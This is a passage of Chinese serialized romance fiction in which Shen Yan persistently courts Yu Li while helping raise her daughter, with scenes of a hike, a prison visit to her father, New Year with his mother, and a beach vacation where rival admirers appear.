喻梨这方面很少惯她,见她不肯吃饭,直接将碗拿开,稍稍严肃:“那你自己看着办,确定真的不吃就不吃,但是下午一点儿零食都没有,我们爬完山6点才吃晚饭,你可以饿到6点。” 星星对时间没什么概念,但是看着妈妈明显冷下来的脸,还是有点发怵,又仗着自己有靠山,身体稍稍向沈砚倾斜,有些无辜地抓住沈砚的手,小脸挤出的表情很多,似乎在向沈砚求助,但又不知道怎么开口的模样。 沈砚看得隐隐发笑,给小姑娘递台阶:“谁说我们星星不吃饭,我们星星只是想人喂,对不对?”说完,舀了一勺饭菜喂给她,又偷偷在她耳边耳语道,“吃完饭,我们爬到山顶上就吃小蛋糕。” 星星看一眼妈妈,再看一眼沈砚,很识时务的张嘴,将沈砚喂过来的饭菜一口吞下去,那模样,跟喂药似的,小眉毛都是皱巴巴的,但是还是一口一口的,被沈砚喂着吃完。 吃完饭,一大一小,又相继去看喻梨脸色,大的很有邀功嫌疑,小的则是挑着眉毛炫耀自己的空碗,一大一小表情竟然很像,仿佛一顿饭是为她吃的似的,简直快把喻梨气笑。 山脉海拔很低,栈道很缓,空气清新,周遭有桃花、梨花、迎春花相继开放,粉的似霞,白的似雪,很容易让人心情也明媚。 沈砚负责背包和牵星星爬台阶,偶尔星星太累,还需要抱起她,爬一段路。 喻梨负责休息时给星星喂水以及水果,补充能量。 那个蛋糕,在爬到山顶时,被沈砚拿出来分享,是喻梨喜欢的芝士口味,做得很简单,但味道确实不错。 下山走到一半时,星星实在走不动,说困就困,只好换成沈砚背她,一直到车上,星星才醒来,坐在儿童座椅上,望着窗外一闪而逝的风景,小短腿一翘一翘的,忽然转头跟喻梨说:“妈妈,我今天好开心啊。” 喻梨微微怔住。 星星就张来双手比划:“我的开心有这么多。”说完,又似乎嫌小,把双手拉得大了一点儿,“不对,有这么多,好多好多,嘻嘻嘻……” 喻梨第一次,不敢接女儿的话。 驾驶座的沈砚从后视镜里看一眼快乐的星星,眉眼异常温柔,又看一眼旁边的喻梨,低低说了句:“我今天也很开心。” 很快被星星听到,于是星星偏过头,杵到喻梨面前,眨巴着黑白分明的眼睛问她:“妈妈,你今天开心吗?” 喻梨摸了摸女儿的头,没有回答。 沈砚带母女俩去吃晚餐。 餐厅是助理帮忙选的,楼层很高,可以看城市落日,位置定得是最好的, 刚好能看到像咸蛋黄一样的落日余晖。 吃饭时,两次有人过来打招呼,是认识沈砚的,很恭敬握着高脚杯,给沈砚敬酒。 沈砚态度疏离,大约很不高兴私人时间被打扰,北城圈里很多人知道他不饮酒的习惯,但南城熟悉他习惯的人不多,只好解释一句,自己不喝酒,用柠檬水代替了。 都是人精,倒也不敢太打扰,打完招呼就回去了。 沈砚看一眼对面喻梨神色,想了想说:“下次会选安静一点的地方。” 喻梨喂星星吃饭,没吱声。 回程时,星星彻底困倦,很快在车上睡着。 到地下车库,沈砚解开安全带:“我抱星星上去吧。” 喻梨看他一眼说:“我们谈一谈?” 沈砚喉结滚动,看一眼睡着的星星,坚持:“先送星星休息。” 喻梨倒也不好反驳。 喻梨抱星星进了儿童房。 赵阿姨刚打扫完卫生,看到沈砚过来,客气地帮他倒了一杯水,放在茶几上。 沈砚的目光落在那堆礼物上,喻梨没有交代怎么处理,找阿姨也就不敢动,找了个箱子把那堆礼物收起来,一件没拆开,落了很多灰尘。 昨晚沈砚带煤球走时,就看见。 喻梨从儿童房出来时,就看见沈砚目光停留在那里,似乎有些恍惚。 赵阿姨看见两人有话要谈的模样,已经识趣回到房间。 听到脚步声,沈砚收回目光,视线落到喻梨身上。 夜色里,他语气很轻:“蛋糕好吃吗?” 喻梨不知道他怎么忽然把话题转到这上面,但还是回答:“不错。” “找师傅学了一段时间,我记得你最喜欢芝士的口味。”沈砚目光落在她脸上,温和平静。 喻梨垂下长睫,已经走到他对面,想了想还是说:“不用刻意做这些,我以为上次我们已经谈清楚。” 沈砚没接话,只是偏头望向角落里那堆礼物,镇定又恍惚的:“怎么不拆?” 大约他冷静的表情下实在带着某种痛苦,喻梨发现自己很难开口说一些绝情的话。 “你17岁许愿说想看极光,18岁的心愿大概是希望喻晟能放出来,我没办法做到,19岁在国外,因为胡乱花钱,过得很潦倒,大概需要很多钱,20岁开始在酒吧打工,生日愿望是希望沈砚能回心转意,21岁开始做一些代购,跟着陆哲混,希望能赚很多钱,22岁生日那晚给我打电话,喝醉了,问我还记不得你,很想我,说你已经长大,改掉一些坏脾气,让我可不可以不要那么狠,23岁回国,跟陆哲合开一家公司,很累,经常被人刁难,在机场碰到过我两次,你都避开,24岁生意做得好了一点儿,有空谈恋爱,跟姜北混在一起,我送蒋静姝回家,你跟他卿卿我我,当着我面的腻歪,25岁你分手,廷屹跑来跟我说,你们在一起……”沈砚说到这里,说不下去。 喻梨全程静静听着,脸色很淡。 沈砚目光凝在她脸上,一瞬不瞬:“礼物是每年挑的,每年一到某个时间,我心情会固定变得糟糕,因为老是有个声音在我耳边撒娇提醒‘沈砚,我生日快到了,今年我有个愿望’,印象太深刻,无法抹去和忘掉。” 喻梨忽然有点难过,但也只是一点点。 她想了想,平和说:“那就改成记星星的生日吧。你也说了,已经很多年了,我今年已经29岁,沈砚,很多事情都回不去了。” 沈砚走近她,桃花眼目光深邃,一直一错不错落在她脸上,她刚放完睡着的星星出来,大概是刘海被星星抓下来一小撮,拂在颊边,沈砚抬手,很想帮她捋好。 被喻梨避开,她稍微退后一步,跟他对视:“今天星星很开心,我说过接受你跟我一起抚养星星,但也只是这些,没有别的,所以,很多多余的事情你不用做。沈砚,我想跟你谈的就是这个。” “那你呢,一点开心的心情都没有吗?”沈砚觑她神色,灯光下,目光很深也很亮。 “我在学着自在一点,如果像今天这样,频率不那么高,比如一年几次,毕竟你也很忙,也不用想着怎样讨好我,我想我会更自在许多。”喻梨回答得很陈恳。 沈砚闭了一下眼睛,想了想,有些自欺欺人的模样,微微笑了一下:“很好,至少你有在尝试接纳我。” 喻梨怕他误会,立刻澄清道:“我的意思是…….” 被沈砚很快打断:“你指的多余的事,是我自己想做,因为除此之外,不知道自己还可以做什么。喻梨,你很擅长把我的自尊放在地上踩,也知道怎么说更能刺痛我,但你至少不能阻止我做一些我心甘情愿的,想做的事。” 喻梨沉默。 沈砚捞起沙发上的外套,走掉。 回去时,他在露台上抽了会儿烟,望向对面喻梨那栋公寓,位置很好,能影影绰绰,看到对面喻梨活动的影子。 那之后,很多次,沈砚想吻她的时候,会疯狂抽烟。 他来南城的频率确实不高,公司一大堆的事,有时需要通宵加班,才能换来飞往南城的周末。 尽量一个月一次的频率,不一定能够见到喻梨,她也很忙,偶尔周末会出差。 沈砚就单独带星星玩,有次暑假带星星出去应酬,小姑娘居然喜欢上骑马,他跟喻梨商量,要不要给星星报个马术班。 两个人的聊天里,只要关于星星的问题,喻梨都会回复他。 但除此之外,沈砚发的其他消息,喻梨一直漠视。 沈砚似乎习惯,总是发一些有的没的,自己出差,拍到的风景照,或者吃到不错的餐厅美食,也有一些关于小孩教育方面的,看的一些书籍。 10月,星星幼儿园举办亲子运动会,喻梨大约觉得没必要通知他,自己陪星星上场了,沈砚事后知道,有些生气。 两个人吵架,其实也不算吵,是沈砚单方面怄气,他怄气很能让人看出来,就是冷着一张少爷脸,话很少,他本来眉目就冷峻,话少时更显冷酷疏离,一整天不跟喻梨沟通,让星星在中间传话,星星不在的时候,他就指挥手里狗绳上栓住的‘煤球’,当着喻梨面跟它说,“你问问你邻居,到底去哪家餐厅,我好让人提前定位置。” 喻梨就坐在他旁边的木质长椅上,两个人带星星玩了一整天,全程没怎么对话,听到沈砚这么幼稚的让‘煤球’传话,几乎被气笑。 她也抱着手臂,冲着‘煤球’道:“定什么餐厅,跟你主人说,买袋狗粮,可以跟你一块儿吃。”说完,带走对面正在买棉花糖的星星。 沈砚很快牵着‘煤球’追上来,见喻梨差点被骑小黄车的路人撞到,眼疾手快拉了她一把。 又跟道歉的骑行者较真儿,修养差到骨子里,质问人家这里公园绿道能骑行吗,没见这么多老人小孩! 对方小年轻被他一通强势输出,哆哆嗦嗦的,吓得背脊往下弯了又弯。 被喻梨不好意思的拽走他。 大概知道他在气什么,喻梨心里叹口气,当晚跟他认真谈,星星只是叫他大伯,他可以介入自己跟星星的生活,但是亲子运动会这种活动,不希望星星对他抱有其他的期待。 沈砚那晚就很憋屈,在星星房间里待到天亮,窝在儿童房的地毯上睡的,第二天满眼血丝上的飞机。 那年BBS幼儿园的元旦节,收到大笔赞助, 沈砚像是非要争一口气,以赞助商的身份,公然出席幼儿园的活动。 星星这年在舞台上扮演一朵蘑菇,表演一结束,她就穿着玩偶服,叮叮咚咚跑到台下,找大伯。 喻梨有些尴尬,也有些无可奈何。 又一个冬天,沈家的消息终于传到南城,沈誉终于在的妻子提起的第N次离婚诉讼上签字,这场耗时几乎一年的豪门离婚诉讼案彻底结束,沈大太太恢复自由身。 办公室里的下属们偷偷讨论这场离婚官司,据说沈誉名下大部分财产都转移给前妻,也不知道这么大年纪,沈太太到底为什么要坚持离婚。 喻梨在场绯闻里保持沉默,且有种极度羞耻心态。 她去探视喻晟。 喻晟属于特殊犯罪,很多年以来,不享有任何探视权,喻梨争取了很久,也是今年才收到允许探视的消息。 年近六十多的喻晟已经很老了,跟记忆中的父亲相差甚远,规律的监狱生活让他身上有种清瘦感,眼神丝毫没有当年的傲气,眼睛里的很多东西被多年的牢狱磨平,只剩畏惧。 喻梨尽量控制着自己不要哭。 探视时间只有很短的三十分钟,她捡重要的跟喻晟说,一秒钟都不舍得浪费。 喻梨听到自己有个外孙女,眼神亮起来,但喻梨说星星暂时不能一起带进来,只把星星的照片贴在玻璃上,拿给喻晟看。 喻晟说自己去年做了一个梦,梦到你妈来跟我告别,你妈身体还好吗? 喻梨垂眸冷静了一下,才把母亲去世的消息告诉父亲。 喻晟不禁喃喃:“是我对不起她。” 喻梨不想他太伤心,转而说起自己搬回南城的事,又提起他家乡:“爸爸,我记得你以前老是跟我讲你老家的事,说山里面很穷,你想过要替那里修路,我现在在做直播带货,山里种了很多果树,夏季和秋季帮村里卖货,村里富起来了,路也修好了,等您出来,带您去看看。” 喻晟不太懂什么是直播卖货,但总归听得明白,女儿在帮他赎罪。 只有半个小时的时间,分别时,父女俩眼睛依然很红。 喻梨拍着窗户:“爸爸,您坚强些,我跟星星等您出来。” 喻晟点点头,他申请的减刑通过,最多再过两年,就可以出来跟女儿、外孙女团聚。 很快过年了。 喻梨收到很多过年的问候,也发出去许多过年的问候。 三十那天,她受赵雨浓妈妈邀请,去赵雨浓家过年。 赵雨浓妈妈阑尾炎,喻梨托人送去很多补品,又知道她母亲去世,把星星当亲孙女疼爱,发了好大一只红包。 南方年味没有北方浓烈,喻梨吃完晚饭就开车带星星回城里了。 沈砚路上跟星星视频,星星四岁多,表达能力更强,且逐渐有小话痨的趋势,每次跟沈砚通话可以通很久。 一大一小聊天到家,沈砚终于对星星说:“星星,把电话拿给妈妈。” 喻梨刚进屋,过年给赵阿姨放假,家里空荡荡的,星星把电话递给她,就急着去尿尿,跑进厕所。 喻梨拿起电话,视频那端,沈砚俊脸清晰,他说:“今年不能陪你们过年,抱歉。新年快乐,喻梨。” 喻梨说:“不是需要道歉的事。新年快乐!” 说完,挂断视频,去侧所看尿尿的女儿。 沈砚听出她电话那端口吻不同寻常的冷淡,微微皱眉。 但他没有再驳回去,从沈宅花园里回到客厅。 沈母正在看春晚。 沈清今年带许佑去许家过年,明日才回来。 沈誉已经被明令禁止再踏入沈宅。 偌大的宅子便显得越发清冷孤寂。 今年人少,沈母提早给佣人们放假,自己亲自动手做的年夜饭。 沈砚晚上陪母亲吃饭,聊了几句家常,又陪母亲看春晚,挑了时间去外头跟星星通电话。 一个多小时后,才重新进来,进来时,沈母看他一眼,沈砚拿起桌上的苹果,一点点削皮,削出完整的果肉,分在果盘里,插上银叉,递给沈母。 递东西的时候,他劲瘦的手腕微微露出一截腕表,被腕表遮住的地方,有破碎的伤痕。 沈母看一眼,忽然问他:“还疼不疼?” 沈砚愣了一下,看到母亲有些心疼的目光,很快反应过来,用袖口遮住:“都过去了,您吃点水果。” 沈母叉了一块苹果到嘴里慢慢嚼,目光挪回电视屏幕上。 光影在她面颊上浮动,那块苹果嚼完了,她才说:“当初我不该逼你,也逼我自己,做错事的不是你,也不是我,很多事,我没有想通,想通了,也老了,浪费了很多时间。你是最孝顺不过的,其实不用陪我浪费时间。” 沈砚笑着宽慰她:“妈,春晚不挺好看的吗?您有喜欢的节目吗,我给您看看节目单。我陪您等。” 说着,拿起手机翻查。 沈母没看他,只是说:“你二婶约我出去旅行,定了明早的机票,这么多年了,我也该出去看看了,你自己过年吧。沈家的亲戚,迎来送往了一辈子,也够了。” 沈砚手指顿住。 抬头望向母亲。 沈母已经从沙发上站起来,裹着羊毛披肩,淡淡的:“你二婶说那个孩子很可爱,小孩子,总归是讨喜的,有空带回来看看,新年礼物放在桌上,帮我带给她。” 沈砚整个人化成一座雕塑。 沈母路过他时,拍了拍他肩膀:“你已经陪我不开心很久了,我怎么忍心让你继续陪我不开心,儿子。” 沈砚冷白的喉结剧烈滚动。【你现在阅读的是 】 90-94 第91章 第91章我现在很想吻你,你如果…… 第二天,沈砚亲自送母亲跟二婶去机场。 沈二太太看侄子忙碌的背影,跟沈母感叹了一句:“你比我有福气,阿砚很孝顺。” 沈母知道她想起廷屹,轻轻拍了拍她手背。 沈二太太笑了,已经释然:“你能想通是好的,有什么比孩子活着更重要,你这半年多给阿砚挑了多少人,他不照样瞒着你往南城飞,心在哪儿,人自然就在哪儿,要是廷屹能活过来,要我干什么都行。” 沈母不是那种很能安慰别人的类型,只是说:“阿砚跟清清也孝顺你,对我跟对你,是一样的。” 沈二太太想起两个孩子,倒是宽慰的:“我知道,清清常带佑佑来看我,阿砚再忙,一个月也要抽出时间陪我吃顿饭。”说到这里,她眼神又稍稍变动,“有些人,看一辈子,也该看明白了。” “你要是不嫌弃,就搬回来陪我住。”沈母提了句嘴,想起最近沈二太太最近跟丈夫的矛盾,她们妯娌俩,倒也谁都不比谁强点。 沈二太太:“你肯出门陪我走走,已经很好。” 两个人聊着,沈砚已经将行李箱推过来,细心的将两位长辈送入机场贵宾楼,那里有专人帮忙办理托运,欧洲那边,也有专门的人员接待。 沈母帮儿子整理了一下领口,目光慈祥:“过年该放松就好好放松,工作是做不完的,不要太累。” 沈砚微笑:“您也是,一路顺风,记得按时吃药。” 又望向二婶:“您二位有事一定要跟我打电话。” 沈二太太似乎嫌弃他唠叨:“好了,真当没你们年轻人,我们老年人就玩不转了。” 沈砚笑。 等人进去了,他接到沈清电话,两个人聊了几句,沈母很久不出门,沈清有点担心。 沈砚说已经把人送到,有二婶在,那边他也安排了人陪同,不会有事。 末了,沈清感叹一句:“妈肯出门,也是好的。” 沈砚轻轻‘嗯’了一声。 最后,沈清忽然提起:“阿砚,我欠你一句道歉,那几年,我在国外,妈什么事都是你在承担,我觉得很内疚,对不起。” 沈砚莫名:“忽然提这个做什么?” “只是想跟你说,去做你自己想做的事,以后妈可以放心交给我。” 沈砚脚步微顿。 恰此时,他另一部商业手机响,跟沈清很快挂断。 助理周扬口吻焦急:“老板,抱歉,打扰您过年,但华夏科技爆出丑闻,我们签署的合作项目可能需要立刻调整,新闻内容我已经发给您。” 沈砚立刻点进周扬给的新闻连接,越看眉头皱越紧,让周扬联系公司相关负责人,立刻开会! 因此,等沈砚真正忙完,已经到初四。 还是从保镖那里得知,喻梨初二已经带星星飞往海城度假。 沈砚这头忙完,就让人定了飞往海城的机票,赶到酒店时,已经接近傍晚。 喻梨正带着星星在酒店的私人椰林等日落。 母女俩穿的亲子装,棉质的碎花裙子,编织太阳帽,星星的踩着粉红色的洞洞鞋,拿着她小铲子在喻梨的太阳伞边挖沙。 不时颠儿 颠儿的跑过来,费力提着她的小桶跟喻梨炫耀:“妈妈,你看,我装满了。” 喻梨戴着墨镜,坐在太阳伞下的躺椅上,正在刷手机,敷衍她,“宝贝真棒,有找到海螺跟贝壳吗,再找找。” 星星就把沙子倒出来,拿软乎乎的小手去找里面的小海螺和小贝壳。 隔一会儿,喻梨听到星星忽然喊:“大伯。” 喻梨偏头望过去,沈砚不知道什么时候到的,星星已经朝他欢快地扑过去。 沈砚弯腰抱起她,一大一小亲昵的说着什么,但沈砚很快朝喻梨望过来。 这一年,喻梨已经逐渐习惯沈砚的神出鬼没,不怎么意外的模样,星星大约因为有沈砚的陪伴,这半年性格活泼了很多。 沈砚抱着星星过来,坐在喻梨隔壁那张躺椅上:“吃晚饭了吗?” 喻梨:“看完日落再去。” “行。” 星星闹腾着要下来,拽住沈砚手指:“大伯,我给你看我挖的沙子。” 两个人在旁边玩了一会儿。 等日落快出来时,沈砚牵着星星过来提醒喻梨:“要不要去海边走走?” 喻梨看一眼天色:“嗯。” 三个人在海边散步。 年关,海城人很多,酒店爆满,即使是私人海滩,这会儿也有不少吃完晚饭出来散步的人。 海风吹得人很舒服,喻梨的裙摆被吹得微微飘动,她没晒黑,脖颈跟手臂的部分依旧白得让人嫉妒,沈砚穿白衬衫和休闲裤,有点风尘仆仆的模样,应该是刚到就来找她们母女。 最后决定就在酒店内用餐,快到餐厅时,喻梨才想起:“我墨镜好像丢了。” 沈砚正牵着星星,小姑娘已经奶声奶气在要求待会儿要吃的东西,沈砚便说:“我去帮你找。” 喻梨已经转身交代他:“你先带星星吃饭,我去看看还在不在。” 沈砚只好带星星先进去。 点了星星要求的土豆泥。 喻梨晚餐一般吃很少,他便先帮她点了一份沙拉。 喻梨到椰林时也没找到墨镜。 她疑心自己是不是刚才散步时,掉在沙滩上,又沿着方才走过的路寻找,天色有点黑,她开了手机电筒。 大概她找东西的样子太明显,有拿着冲浪板的一群男女刚好路过,其中一个帅哥走向她:“美女,找东西?” 喻梨看他一眼:“墨镜掉了,想找找看。” 对方想了想,热心的打开手机电筒:“是在这片区域吗?” “可能是。” 他朋友冲他吹了个口哨,很快几个男女都过来,打开手机电筒帮着一块儿找。 最后真的在沙地上找到,没被人踩,应该是喻梨欣赏落日时,挂在胸口不小心掉的。 墨镜是纪欣瑜送的生日礼物,倒不好弄丢,能找到喻梨还是很高兴的,笑着说了声‘谢谢’。 帅哥被朋友推出来:“谢谢我哥们儿,他想要你电话号码。平时可没这么热心。” 对方有些害羞,清了清嗓子,大大方方的:“我叫周致,方便加个微信吗?” 喻梨看他一眼,应该是刚冲浪回来,他头发还是湿的,身材很好,腹部人鱼线很漂亮,看得出长期锻炼的痕迹,但她只能笑笑:“抱歉,我女儿都四岁了。” 说完,她手机响,是沈砚跟她打电话,她说了句:“失陪。”在对方有些诧异的目光下,转身往酒店走。 找到餐厅的位置坐下。 沈砚喝了口柠檬水问她:“找到了吗?” “嗯,幸好遇到有人帮忙。” 沈砚不动声色:“刚才听你电话里人声很多,有人帮你找?” 喻梨不怎么在意:“遇到几个热心的人吧。” 沈砚微微挑眉。 吃完晚饭,沈砚陪着星星在他们房间玩。 喻梨去盥洗室收拾了一下今天弄脏的衣物。 再出来时,发现沈砚在露台给星星放动画片,星星看得目不转睛,沈砚身体靠着沙发后背,长腿伸展着,不知道是在闭目养神,还是已经真的睡着。 傍晚的时候,喻梨就发现了,他其实脸色不大好,眼底青影很重,有些许憔悴,应该是熬夜加班导致。 喻梨靠墙,抱着手臂看他一会儿,然后走过去,跟星星比了一个‘嘘’的手势,将茶几上的ipad声音放得小了一点儿。 星星倒也很乖,看一眼旁边睡着的沈砚,抿唇笑了笑。 喻梨带星星去洗澡。 母女俩一起泡在浴缸里,星星会把泡泡挤到她脸上,玩得不亦乐乎。 泡了大概三十多多分钟,又在浴室里帮星星吹好头发,擦好儿童护肤品才出来。 收拾好,已经一个小时。 星星玩困了,喻梨把她带到床上,盖了一层抱被子,小姑娘歪着脑袋,闭上眼睛不到一秒钟就入睡。 出了卧室,沈砚半靠在在沙发上,像是睡得很沉。 喻梨看了一眼时间,走过去拍拍他腿。 沈砚睁开眼。 喻梨说:“太累就去你房间睡,你应该定了房间吧,我跟星星也准备睡觉了。” 沈砚定定看她一眼,暖等下,沐浴后的喻梨像刚剥的荔枝,没穿睡衣,大约是考虑到他还在,穿了条夏威夷风格的裙子,肌肤裸露的部分,一寸寸,白得晃眼。 下一秒,被他拽住手臂,他力道掌握得很好,喻梨整个人猝不及防,被他拉进怀里。 “沈砚。”喻梨挣扎,表情有些气恼。 沈砚抱着她,她润肤乳带一点柑橘的清香味,很好闻,整个人身段柔软,抱起来仿佛抱着一匹上好丝绸,柔软、细腻。 “你还记不记得我们的约定?”怕吵到星星,喻梨声音小,但口吻冷冽,挣扎动作也大了点儿。 被沈砚死死按进怀里,鼻尖嗅到她发丝清香:“记得,所以只是抱一下,当我充电,最近很累,也很想你和星星。” 喻梨怕刺激他,倒是不敢再动。 沈砚埋在她脖颈处,仿佛真的在充电般,静得很,心跳也很平稳。 喻梨想了想说:“太累,下次不要赶过来,我跟星星可以自己过好年,没有你想象那么可怜孤单。” 沈砚笑了一下:“你可能搞错顺序,是我……太孤单,需要你跟星星。” 喻梨愣了一下。 约莫几分钟后,她推开他,坐在他旁边,真诚建议:“遇到合适的,你可以找一个,其实…….” 喻梨不止一次提起这种话题,沈砚似乎已经听腻。 他微微撑着脑袋看她,桃花眼深邃,微笑时目光里带着一丝痞气,目光落在她说话时的嘴唇部分,打断她:“我现在很想吻你,你如果再说一些我不想听的话,我应该会有借口。” 喻梨于是闭嘴。 第92章 第92章你既然要替人保媒,不如…… 气氛有些诡秘。 喻梨拉了一下肩膀的吊带,下了逐客令:“回你房间休息吧。” 沈砚依旧撑着额头,桃花眼在暖灯下映照下灿烂邪气:“你跟星星还要待几天?” “定的后天的机票。” “那我后天跟你们一起回去。” 说完,沈砚按响房间内线,让酒店将自己行李到房间。 他定在她隔壁房间。 “晚安。”挂完电话,他从沙发上站起来说。 喻梨点头:“晚安。”礼貌性抬脚送他。 走到门口,他冷不防转身,还是被他搂住她纤细腰肢,吻过来。 喻梨下意识挣扎,但他已经很快放开她。玄关壁灯是暖色调,他垂眸看她,睫毛很长,俊脸幽静:“我不会再找,你也不要找好不好?” 喻梨望着他,没有说话,但平静的脸色没有丝毫波澜,像她平稳的心跳,无论怎么吻她,仿佛都不会跳动。 沈砚忍不住抬手,指腹落到她被他磨得微微泛红的唇瓣上,喻梨侧开一步,拧开门把,有些冷淡的:“早点休息。” 沈砚不敢再逼她,转身出了房门。 关上房门,喻梨有些紧绷的身体微微有些卸力地靠在门板上,垂眸不知道在想什么,约莫五六分钟后,才轻手轻脚地进入卧室,躺在睡得一脸恬静的星星身边。 第二天,喻梨带星星去楼下吃自助早餐。 星星坐在板凳上问她:“大伯呢?” 早晨的海风依然黏腻,喻梨一边刷公司的一些数据,一边回答她:“大伯最近很累,我们等他睡到自然醒好不好?” 星星乖巧点头,想了想又小大人般叹口气:“大伯老是很累,陪星星玩也会睡着。” 喻梨闻言,不知道想到什么,有些诧异地望了对面女儿一眼。 周致在饮料区接一杯手冲咖啡。 一抬眼,很快注意到餐厅外扩露台处的母女俩。 这是周致在这家五星级酒店住的第 三天,从前天开始,他冲浪回来,就注意到这对高颜值母女俩。 第一次见,是母女俩坐在大厅沙发上,等服务人员帮忙入住和托运行李,女人穿一条红色红色法式碎花裙,身上皮肤很白,一眼望过去不是那种让人特别惊艳的长相,但非常耐看,周致忍不住多看了几眼。 第二天,他在酒店泳池又碰到母女俩,小姑娘游泳游得不是特别好,还需要妈妈帮忙,当她牵着女儿穿着泳装从池里出来时,连躺椅上的哥们儿都忍不住吹了个口哨。 周致微微皱眉,知道哥们儿的尿性,不轻不重地瞪了对方一眼。 但他目光依然忍不住被对方吸引,看女人披上躺椅上的白色浴巾,又用儿童浴巾裹住女儿,温柔得喂她喝椰汁。 第三次是昨晚,看她在埋头找东西,他从来不是热心的性格,腿却不自觉朝她走过去,帮忙。 也是第一次忍不住问人要微信,虽然知道对方有女儿,但心里居然莫名抱着某种希望,她拒绝得很礼貌,周致有些失望。 饶是如此,周致依然忍不住端起咖啡坐到母女俩隔壁桌,隔了一扇窗,他位置隐秘,余光可以瞥见她裸肩裙裸露的一小片肌肤,白得晃眼。 她吃东西也很优雅,偶尔还要监督对面女儿,提醒她要喝牛奶,嗓音宠溺,笑起来很温柔。 奇怪的是,母子俩嘴巴里从来不提‘爸爸’两个字,提起的只有一个‘大伯’。 周致正凝神间,发现她接了个电话,不一会儿,有穿白衬衫的男人来到餐厅,个子很高,眉目英俊,身上气质极强,稳重妥帖,是那种一看就手握权力男人,周致被他不轻不重扫了一眼,那种属于雄性独有的占有欲,周致向来自负,那一刻,居然有种一眼被人看穿的狼狈,以及强烈被人施压的感觉。 女人终于注意到她,放下手中食物,仿佛意外:“周先生?” 周致礼貌得抬起手上咖啡,举杯示意。 沈砚微微皱眉,已经在母女旁边的凳子上入座,低头随意问她一句:“认识的?” 周致听见女人回答:“昨晚上帮我找墨镜。” 她旁边男人微挑了一下眉,而后直直朝周致望过来,周致倒也不怵,颔首示意。 彼此目光交错,都是男人,只一秒,就明白对方心里那点弯弯绕绕,彼此心照不宣。 “周致。”有人叫他。 周致回头,是一起玩的几个朋友,徐大小姐赫然在列,她是昨晚的飞机,大约没睡醒就被友人闹醒,这会儿满脸不高兴,一屁股有些懒散地在周致对面坐下。 “晚晚,你吃什么,帮你拿?”有殷勤的男士提出。 “沙拉就可以,谢谢。”徐大小姐架子大,满不在乎道。 周致便随口问她:“昨晚闹很晚?” 徐晚清打了个哈欠:“倒时差。” 恰此时,友人端着餐盘过来,意味深长地拍一下周致肩膀:“这不是昨天拒绝你的美女。” 周致摊手。 徐晚清倒来了兴致,很快顺着对方目光望过去,眼神渐渐凝住。 沈砚今日打扮很休闲,简单的白衬衫,休闲裤,褪去了平日的冷淡疏离,倒很有一副度假放松的模样,正在帮小姑娘擦拭嘴角的番茄酱,大约他往日气质冷冽,十足的冷冰冰上位者,此刻在小女孩面前,温柔宠溺,竟是强烈反差感,有种奇特的性张力。 徐清晚有些心痒。 目光稍稍偏移,落在他旁边,正在刷手机的喻梨身上。 徐清晚思考片刻后,果断站起来,朝对方走过去:“喻小姐,你身体恢复了?” 喻梨正在处理一点公司问题,闻言抬头,面前站立着一个麦色肌肤的女孩子,很漂亮,是那种健康阳光的漂亮,但对方认识自己,她便有些莫名。 “你可能不记得我,上次机场你晕倒,有幸送你赶到医院。”徐清晚大方解释。 喻梨一下子想起来,立刻从座位上站起来:“抱歉,当时眼睛看不见,没想到是你帮忙,你好,我叫喻梨,谢谢你。”朝她伸出手掌。 徐清晚抬手跟她握了握,俏皮得稍稍歪头,睨了沈砚一眼:“徐清晚。不过不客气啦,毕竟有人已经帮你道过谢了。” 喻梨似乎反应过来,忍不住偏头看一眼沈砚。 沈砚淡淡解释:“徐小姐比赛很忙,就没有带你正式约时间道谢。” “不说谢不谢的客气话,你们也来度假吗?” 沈砚身体微微靠后躺,熟悉他的人知道,这是不耐烦被人打扰的姿势,矜持点头:“嗯。” “那真巧,我跟朋友也是无聊飞海城,还没有具体的活动,不过人多热闹,你们要一起吗?”徐清晚热情道。 沈砚微微皱眉,喻梨却已经说:“应该请徐小姐吃顿饭的,约上你朋友一起好吗,我做东。” 徐清晚大方应下来。 “大伯,我想上厕所。”大人们说话,星星偏过头,跟沈砚要求道。 他是男人,出门不大方便去女厕,喻梨朝他道:“麻烦你帮我照顾徐小姐,我带星星去厕所。” 说完,朝星星招手。 喻梨牵着星星的小手往餐厅外走,路过周致他们一桌时,周致微微冲她颔首,喻梨回了他一个礼节性微笑。 母女俩一离开,徐晚清直截了当朝沈砚望过去:“现在说句抱歉打扰你们,是不是很虚伪?但我实在好奇,自己输在哪里?” 沈砚偏头望向她,深邃桃花眼冷淡:“你都从来没有上过起跑线,怎么会有输赢。”说完,他起身,眉目冷峻,抬腿跟上母女俩脚步。 剩徐清晚一个人站在露台,吹着稍显一大清早就稍显黏腻的海风,娇俏的脸颊,脸色十分难看。 “嚯……这对什么来头,第一次见有人能把晚晚气成这样。”隔窗的座位上,好友们打趣。 “我看不止晚晚,我们向来无往不利的周少,也第一次在女人面前吃瘪,瞧瞧这魂不守舍的样儿。” 被周致不轻不重地瞪了一眼。 但回房间的路上,周致还是拦住徐清晚,打听起那对母女。 徐清晚方才又被沈砚气到,这会儿说话便不怎么客气,环着手臂:“怎么,你真对人家有意思?这算什么,一见钟情?她这么大吸引力?”话语里,醋劲儿很浓。 周徐两家是世交,两个人说句青梅竹马也不为过,周致没有理会她话语里的不甘心,只问自己的:“你只要告诉我她们什么关系就行,我听孩子叫他大伯?” 徐晚清简直被他气笑,但转眼不知道想到什么,低声解释了几句,大意是你听过沈家以前有位二公子吗,喻梨是他女友之类的,而沈砚与喻梨的关系,外人众说纷纭,但极少有定论,只是近一年多,沈砚经常往北城跑,已经到毫不避讳的地步,你觉得两个人是什么关系? 周致稍稍挑眉。 晚餐定在酒店餐厅露台。 经理提前布置过,加上鲜花和小彩灯的装饰,用餐环境倒十分优雅又有氛围感。 晚风很吹得很凉爽,加上一些朋友们,满满当当坐了约莫有8个人左右的样子,菜单喻梨跟酒店经理提前核对过,但也会客气的问大家是否合胃口。 徐清晚坐在她对面,说很好,喻小姐准备得很周到,谢谢。敬了她 一杯酒。 聊天氛围逐渐放松。 周致坐在徐清晚旁边,目光全程落在对面穿一袭玫瑰黄长裙的女人身上,毫不掩饰的欣赏。 沈砚依旧淡淡的,偶尔接几句话,不是他的主场,他显得沉默低调,全程照顾起星星,一大一小,举止亲昵,看得出小姑娘对他很依赖。 直到聊天氛围越来越松弛,徐晚清的朋友借着酒劲儿忽然问起:“孩子爸爸呢?我听孩子叫沈先生大伯,沈先生跟喻小姐是……什么关系?” 